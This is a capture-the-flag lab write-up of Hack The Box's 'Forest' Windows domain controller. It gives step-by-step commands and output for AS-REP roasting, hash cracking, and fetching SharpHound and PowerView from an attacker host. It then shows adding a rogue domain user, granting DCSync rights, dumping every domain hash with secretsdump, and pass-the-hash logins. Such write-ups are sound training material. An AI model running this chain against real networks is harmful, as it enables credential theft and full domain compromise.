Forest
Summary
Forest is an easy machine where we have no website, no APIs, only the usual windows ports (a DC). There we have to enumerate the accounts using the kerberos and LDAP port. Once we find the accounts, we can see a service account with AS-REP (No pre-authentication required) called svc-alfresco. Using Impacket we can extract the KRB hash and crack it with hashcat and rockyou. Once we have the account, we log into the machine using evil-winrm and extract the user hash.
For privilege escalation I used SharpHound and Bloodhoun to retrieve valuable information about the domain and the owned user. This user is within Account Operators group, which can add a user to Exchange group. This group has WriteDacl permissions aver the domain, therefore we can set a user with enough privileges to perform a DCSynk attack and retrieve all the user hashes. Finally, we can use Pass-The-Hash to access the machine as Administrator to grab the root flag.
Enumeration
- nmap
nmap -sC -sV -p- 10.129.95.210 -oA nmap -Pn
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-07 05:14 EST
Nmap scan report for 10.129.95.210
Host is up (0.041s latency).
Not shown: 65511 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-12-07 10:22:12Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49680/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49681/tcp open msrpc Microsoft Windows RPC
49685/tcp open msrpc Microsoft Windows RPC
49697/tcp open msrpc Microsoft Windows RPC
49703/tcp open msrpc Microsoft Windows RPC
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: FOREST
| NetBIOS computer name: FOREST\x00
| Domain name: htb.local
| Forest name: htb.local
| FQDN: FOREST.htb.local
|_ System time: 2022-12-07T02:23:02-08:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
| smb2-time:
| date: 2022-12-07T10:23:05
|_ start_date: 2022-12-07T10:18:31
|_clock-skew: mean: 2h46m49s, deviation: 4h37m08s, median: 6m48s
We can add the disclosed domain into /etc/hosts
- smbmap
smbmap -H 10.129.95.210
[+] IP: 10.129.95.210:445 Name: FOREST.htb.local
Also add FOREST.htb.local
- ldapsearch
ldapsearch -H ldap://10.129.95.210 -x -b "DC=htb,DC=local" Users
# svc-alfresco, Service Accounts, htb.local
dn: CN=svc-alfresco,OU=Service Accounts,DC=htb,DC=local
# Security Groups, htb.local
dn: OU=Security Groups,DC=htb,DC=local
# Service Accounts, Security Groups, htb.local
dn: CN=Service Accounts,OU=Security Groups,DC=htb,DC=local
# Privileged IT Accounts, Security Groups, htb.local
dn: CN=Privileged IT Accounts,OU=Security Groups,DC=htb,DC=local
# test, Security Groups, htb.local
dn: CN=test,OU=Security Groups,DC=htb,DC=local
# Employees, htb.local
dn: OU=Employees,DC=htb,DC=local
# Information Technology, Employees, htb.local
dn: OU=Information Technology,OU=Employees,DC=htb,DC=local
# Exchange Administrators, Information Technology, Employees, htb.local
dn: OU=Exchange Administrators,OU=Information Technology,OU=Employees,DC=htb,DC=local
# Sebastien Caron, Exchange Administrators, Information Technology, Employees,
htb.local
dn: CN=Sebastien Caron,OU=Exchange Administrators,OU=Information Technology,OU=Employees,DC=htb,DC=local
# Developers, Information Technology, Employees, htb.local
dn: OU=Developers,OU=Information Technology,OU=Employees,DC=htb,DC=local
# Santi Rodriguez, Developers, Information Technology, Employees, htb.local
dn: CN=Santi Rodriguez,OU=Developers,OU=Information Technology,OU=Employees,DC=htb,DC=local
# Application Support, Information Technology, Employees, htb.local
dn: OU=Application Support,OU=Information Technology,OU=Employees,DC=htb,DC=local
# IT Management, Information Technology, Employees, htb.local
dn: OU=IT Management,OU=Information Technology,OU=Employees,DC=htb,DC=local
# Lucinda Berger, IT Management, Information Technology, Employees, htb.local
dn: CN=Lucinda Berger,OU=IT Management,OU=Information Technology,OU=Employees,DC=htb,DC=local
# Helpdesk, Information Technology, Employees, htb.local
dn: OU=Helpdesk,OU=Information Technology,OU=Employees,DC=htb,DC=local
# Andy Hislip, Helpdesk, Information Technology, Employees, htb.local
dn: CN=Andy Hislip,OU=Helpdesk,OU=Information Technology,OU=Employees,DC=htb,DC=local
# Sysadmins, Information Technology, Employees, htb.local
dn: OU=Sysadmins,OU=Information Technology,OU=Employees,DC=htb,DC=local
# Mark Brandt, Sysadmins, Information Technology, Employees, htb.local
dn: CN=Mark Brandt,OU=Sysadmins,OU=Information Technology,OU=Employees,DC=htb,DC=local
# Sales, Employees, htb.local
dn: OU=Sales,OU=Employees,DC=htb,DC=local
# Marketing, Employees, htb.local
dn: OU=Marketing,OU=Employees,DC=htb,DC=local
# Reception, Employees, htb.local
dn: OU=Reception,OU=Employees,DC=htb,DC=local
- enum4linux
enum4linux -a 10.129.95.210
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
[+] Password Info for Domain: HTB
[+] Minimum password length: 7
[+] Password history length: 24
[+] Maximum password age: Not Set
[+] Password Complexity Flags: 000000
[+] Domain Refuse Password Change: 0
[+] Domain Password Store Cleartext: 0
[+] Domain Password Lockout Admins: 0
[+] Domain Password No Clear Change: 0
[+] Domain Password No Anon Change: 0
[+] Domain Password Complex: 0
[+] Minimum password age: 1 day 4 minutes
[+] Reset Account Lockout Counter: 30 minutes
[+] Locked Account Duration: 30 minutes
[+] Account Lockout Threshold: None
[+] Forced Log off Time: Not Set
svc-alfresco seems like a service account. I have no credentials, so first things I can try is to AS_REP responses with non-preauth. Testing out the svc-alfresco we get its hash. Now let’s pray for it to be crackable with rockyou. For this task I like to use Impacket’s GetNPUsers.py. Remember to use the -no-pass flag, since we have no credentials.
python3 GetNPUsers.py htb.local/svc-alfresco -no-pass
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Getting TGT for svc-alfresco
$krb5asrep$23$svc-alfresco@HTB.LOCAL:f9e39a0df956412e0e03755ce9aac414$93314eb5b0b2ba89b0b88d3ed8a2b62f8406a38cd73fc79aabce2b11b61b4fafced31b891f05eea59885227fd8f5ddd1c1644fffa5d24298e048e904f4f755fbee0ceb9a5a6f6b854432948e46ea08be9599290ab50686f830c5a3982f87d578d3fc7f9cf94d201e58acce038b2da13b098ce883fab63dc82bb80b1b86c331cce814f613afbb1fd11270263e3a44306349cc225ef578e55cd217a033fbd6e1bd4cd9a93f221237e9280e21d3313165e1d0637b94c6a9599581479befb17db3bfb3b539471c63258f64a7c8958e7dcc1af6e084bd9300f36968c64e4c2b94e5b6404a4aea7cc4
Using hashcat with rockyou let us find a password:
hashcat -h
19600 | Kerberos 5, etype 17, TGS-REP | Network Protocol
19800 | Kerberos 5, etype 17, Pre-Auth | Network Protocol
19700 | Kerberos 5, etype 18, TGS-REP | Network Protocol
19900 | Kerberos 5, etype 18, Pre-Auth | Network Protocol
7500 | Kerberos 5, etype 23, AS-REQ Pre-Auth | Network Protocol
13100 | Kerberos 5, etype 23, TGS-REP | Network Protocol
18200 | Kerberos 5, etype 23, AS-REP | Network Protocol
# We need to use the 18200, AS-REP, if you are not sure, check the two headers of the hash; krb5asrep and etype 23.
hashcat -m 18200 -a 0 kerb.hash /usr/share/wordlists/rockyou.tx
$krb5asrep$23$svc-alfresco@HTB.LOCAL:f9e39a0df956412e0e03755ce9aac414$93314eb5b0b2ba89b0b88d3ed8a2b62f8406a38cd73fc79aabce2b11b61b4fafced31b891f05eea59885227fd8f5ddd1c1644fffa5d24298e048e904f4f755fbee0ceb9a5a6f6b854432948e46ea08be9599290ab50686f830c5a3982f87d578d3fc7f9cf94d201e58acce038b2da13b098ce883fab63dc82bb80b1b86c331cce814f613afbb1fd11270263e3a44306349cc225ef578e55cd217a033fbd6e1bd4cd9a93f221237e9280e21d3313165e1d0637b94c6a9599581479befb17db3bfb3b539471c63258f64a7c8958e7dcc1af6e084bd9300f36968c64e4c2b94e5b6404a4aea7cc4:s3rvice
svc-alfresco:s3rvice
I used evil-winrm to try to log into the box, being successful. Didn’t expect this user to have the flag, but it did, so I grabbed it.
evil-winrm -i 10.129.95.210 -u svc-alfresco -p 's3rvice'
Privesc
I used remote bloodhound but did not showed me any valuable privesc path so I loaded SharpHound.ps1 in the machine. One of the main difference between these two methods is that the python script executed from a non-joined machine won’t show the session information while SharpHound will. This is valuable information is no EDR is in place (or a weak AV that we can bypass). Let’s load the script and retrieve the loot:
# Get the script in the box
Invoke-WebRequest -Uri "http://10.10.14.2:5454/SharpHound.ps1" -outfile SharpHound.ps1
# Import Sharphound
Import-Module ./SharpHound.ps1
# Run sharphound as current user
Invoke-Bloodhound -CollectionMethod All -Domain htb.local -ZipFileName loot.zip
Checking bloodhound, we set svc-alfresco as owned, then “Show shortest path to domain admins”
Following the nested groups, svc-alfresco is within the ACCOUNT OPERATORS group, which has Generic All to EXCHANGE WINDOWS PERMISSIONS. This last one has WriteDacl to the domain, so we can write an Object ACL granting us DCSync privileges. This permission allow us to request the domain controller to replicate password using DS-Replication-Get-Changes-All (used for replication of secret data). Domain Administrators have this right by default.
Let’s add a new user into the exchange group:
net group "Exchange Windows Permissions"
net user kashmir kashmir54 /add /domain
net group "Exchange Windows Permissions" /add kashmir
Now we are ready, let’s write that ACL:
# Get PowerView on the box
Invoke-WebRequest -Uri "http://10.10.14.2:5454/PowerView.ps1" -outfile PowerView.ps1
# Set up our account
$pass = ConvertTo-SecureString 'kashmir54' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('HTB\kashmir', $pass)
# Write the ACL
Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity "kashmir" -Rights DCSync
Now we can see if our new user has the required privileges to perform the DCSync attack:
# Get SID
Get-DomainUser -Identity kashmir |select samaccountname,objectsid,memberof,useraccountcontrol |fl
# Set SID for the operation
$sid= "S-1-5-21-3072663084-364016917-1341370565-10101"
# Check privileges
Get-ObjectAcl "DC=htb,DC=local" -ResolveGUIDs | ? { ($_.ObjectAceType -match 'Replication-Get')} | ?{$_.SecurityIdentifier -match $sid} |select AceQualifier, ObjectDN, ActiveDirectoryRights,SecurityIdentifier,ObjectAceType | fl
After writting the Object ACL with the DCSync privileges kashmir account to the group, I was able to pull the hashes using the secretsdump.py script from Impacker in the attack box:
python3 secretsdump.py kashmir:kashmir54@10.129.95.210
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\$331000-VK4ADACQNUCA:1123:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_2c8eef0a09b545acb:1124:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\SM_ca8c2ed5bdab4dc9b:1125:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
...
Checking that our hash is correct with CME:
Now we can use the hash with psexec or evil-winrm to access the machine as administrator with a Pass-The-Hash attack:
python3 psexec.py -hashes 32693b11e6aa90eb43d32c72a07ceea6:32693b11e6aa90eb43d32c72a07ceea6 administrator@10.129.95.210
evil-winrm -i 10.129.95.210 -u Administrator -H 32693b11e6aa90eb43d32c72a07ceea6
And now grab the flag with an NT Authority account: